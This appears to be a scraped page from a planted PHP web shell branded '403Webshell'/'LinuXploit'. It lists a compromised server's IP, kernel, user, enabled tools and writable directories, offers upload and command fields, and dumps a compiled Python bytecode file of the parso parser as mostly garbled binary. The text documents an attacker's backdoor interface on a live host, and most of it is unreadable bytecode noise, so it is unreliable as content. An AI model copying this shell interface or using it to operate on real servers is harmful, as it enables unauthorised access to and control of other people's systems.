403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.216.115
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/parso/python/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/parso/python/__pycache__/parser.cpython-311.pyc
�

̑�a���p�ddlmZddlmZddlmZejZejZejZGd�de��Z	dS)�)�tree)�PythonTokenTypes)�
BaseParserc���eZdZdZidej�dej�dej�dej�dej	�dej
�dej�d	ej�d
ej�dej�dej
�d
ej�dej�dej�dej�dej�dej�ejejejejejejejejejejd�
�ZejZejejejej ej!ej"ej#ej$ej%ej&ej'ej(ej)ej*iZ+d�fd�	Z,�fd�Z-d�Z.d�Z/�fd�Z0d�Z1d�Z2�xZ3S)�Parserz�
    This class is used to parse a Python file, it then divides them into a
    class structure of different scopes.

    :param pgen_grammar: The grammar object of pgen2. Loaded by load_grammar.
    �	expr_stmt�classdef�funcdef�
file_input�import_name�import_from�
break_stmt�
continue_stmt�return_stmt�
raise_stmt�
yield_expr�del_stmt�	pass_stmt�global_stmt�
nonlocal_stmt�
print_stmt�assert_stmt)
�if_stmt�	with_stmt�for_stmt�
while_stmt�try_stmt�
sync_comp_for�	decorator�lambdef�lambdef_nocond�namedexpr_testTc�z��t���|||���g|_g|_d|_dS)N)�error_recoveryr)�super�__init__�
syntax_errors�_omit_dedent_list�_indent_counter)�self�pgen_grammarr$�start_nonterminal�	__class__s    ��5/usr/lib/python3/dist-packages/parso/python/parser.pyr&zParser.__init__@sL���
������'8�(6�	�	8�	8�	8� ���!#��� �����c���|jr'|jdkrt�|�|��}t	���|��S)Nr)�_error_recovery�_start_nonterminal�NotImplementedError�_recovery_tokenizer%�parse)r*�tokensr-s  �r.r5zParser.parseHsK�����	5��&�,�6�6�)�)��,�,�V�4�4�F��w�w�}�}�V�$�$�$r/c��	|j||��}n@#t$r3|dkr|dg|dd�z}|�||��}YnwxYw|S)a
        Convert raw node information to a PythonBaseNode instance.

        This is passed to the parser driver which calls it whenever a reduction of a
        grammar rule produces a new complete node, so that the tree is build
        strictly bottom-up.
        �suiter����)�node_map�KeyError�default_node)r*�nonterminal�children�nodes    r.�convert_nodezParser.convert_nodeQs��		<�-�4�=��-�h�7�7�D�D���	<�	<�	<��g�%�%�
%�Q�K�=�8�A�b�D�>�9���$�$�[�(�;�;�D�D�D�	<�����s��:A�Ac���|tkr:||jjvrtj|||��Stj|||��S|j�|tj��|||��S)N)	�NAME�
_pgen_grammar�reserved_syntax_stringsr�Keyword�Name�	_leaf_map�get�Operator)r*�type�value�prefix�	start_poss     r.�convert_leafzParser.convert_leafesl���4�<�<���*�B�B�B��|�E�9�f�=�=�=��y��	�6�:�:�:�6�t�~�!�!�$��
�6�6�u�i��P�P�Pr/c���|jdj}|r|d���}nd}|jdkr�|jt
jksD|jtkr�|j�	d��s�|j�	d��s�|jdj
jdkrz	|jdj
jt
j
}|jjr5|js.|j|jd_
|�|��dSn#t$$rYnwxYw|js!t)���|��Sd�}||j��}|�|dz��r|�|��nr|\}}}	}
|t.kr|j�|j��t7j|j||	|
��}|jdj�|��|jd}|jdkr+	|j
jd	|_
dS#t$$rYdSwxYwdS)
Nr:r�
�
�simple_stmtc���ttt|������D]7\}}|jdkrn&|jdkrt	|j��dkrn�8|S)Nrr8�)�reversed�list�	enumerater>�len�nodes)�stack�until_index�
stack_nodes   r.�
current_suitez,Parser.error_recovery.<locals>.current_suite�su��,4�D��5�9I�9I�4J�4J�+K�+K�	
�	
�'��Z��)�\�9�9��E��+�w�6�6��:�+�,�,��1�1�����r/rUr8�stmt) r[rZ�
get_last_leafr2rKr�	ENDMARKER�DEDENTrL�endswith�dfa�	from_rule�transitions�NEWLINE�next_dfa�is_final�
dfa_pushes�
_add_tokenr<r1r%r$�_stack_removal�INDENTr(�appendr)r�PythonErrorLeaf�namer>�arcs)r*�token�	tos_nodes�	last_leaf�planr^r\�typrLrNrM�
error_leaf�tosr-s             �r.r$zParser.error_recoveryosc����J�r�N�(�	��	�!�"�
�3�3�5�5�I�I��I��"�l�2�2���/�9�9�9��J�&�(�(���1I�1I�$�1O�1O�(�"��1�1�$�7�7�)��z�"�~�!�+�}�<�<�
��:�b�>�-�9�:J�:R�S�D��}�-��d�o��.2�]��
�2��*�����.�.�.����� �����D������#�	1��7�7�)�)�%�0�0�0�
	�
	�
	�$�m�D�J�/�/�����{�Q��/�/�
	4��O�O�E�"�"�"�"�,1�)�C��	�6��f�}�}��&�-�-�d�.B�C�C�C��-�c�h��y�&�Q�Q�J��J�r�N� �'�'�
�3�3�3��j��n���?�g�%�%�
��'�,�v�.�������
�
�
����
����&�%s$�3'D�
D)�(D)� H9�9
I�Ic���d�|j|d�D��}|r<tj|��}|j|dz
j�|��g|j|d�<t|��S)Nc�&�g|]}|jD]}|���S�)rZ)�.0r]r@s   r.�
<listcomp>z)Parser._stack_removal.<locals>.<listcomp>�s)��b�b�b�j�Q[�Qa�b�b��T�b�b�b�br/rU)r[r�PythonErrorNoderZrn�bool)r*�start_index�	all_nodesr@s    r.rlzParser._stack_removal�sv��b�b�D�J�{�|�|�,D�b�b�b�	��	;��'�	�2�2�D��J�{�Q��'�-�4�4�T�:�:�:�#%��
�;�<�<� ��I���r/c#�K�|D]�}|d}|tkrP|j}|r6|d|jkr%|���|xjdzc_�T|xjdzc_n|tkr|xjdz
c_|V���dS)Nrr:rU)rbr(r)�poprm)r*r6rrrv�os     r.r4zParser._recovery_tokenize�s������	�	�E���(�C��f�}�}��*�����2��$�"6�6�6��E�E�G�G�G��(�(�A�-�(�(���$�$��)�$�$�$������$�$��)�$�$��K�K�K�K�	�	r/)Tr)4�__name__�
__module__�__qualname__�__doc__r�ExprStmt�Class�Function�Module�
ImportName�
ImportFrom�KeywordStatement�
ReturnStmt�	YieldExpr�
GlobalStmt�
AssertStmt�IfStmt�WithStmt�ForStmt�	WhileStmt�TryStmt�SyncCompFor�	Decorator�Lambda�	NamedExprr;�
PythonNoder=r�STRING�String�NUMBER�Numberrg�Newlinera�	EndMarker�FSTRING_STRING�
FStringString�
FSTRING_START�FStringStart�FSTRING_END�
FStringEndrHr&r5rArOr$rlr4�
__classcell__)r-s@r.rrsW�����������T�]���D�J��	�4�=��	�d�k�	�
	�t���	�t��
�	�d�+��	��.��	�t���	�d�+��	�d�n��	�D�)��	�T�*��	�t���	��.�� 	�d�+�!�"	�t��#�$�;��]��L��n��L��)��^��;��+��.�=���H�@�?�L�	��������� �$�,��"�D�N��'��);��&��(9��$�d�o��I�!�!�!�!�!�!�%�%�%�%�%����(Q�Q�Q�D�D�D�D�D�L���������r/rN)
�parso.pythonr�parso.python.tokenr�parso.parserrrCrmrbrr{r/r.�<module>r�s���������/�/�/�/�/�/�#�#�#�#�#�#����	�	 ��	�	 ��C�C�C�C�C�Z�C�C�C�C�Cr/

Youez - 2016 - github.com/yon3zu
LinuXploit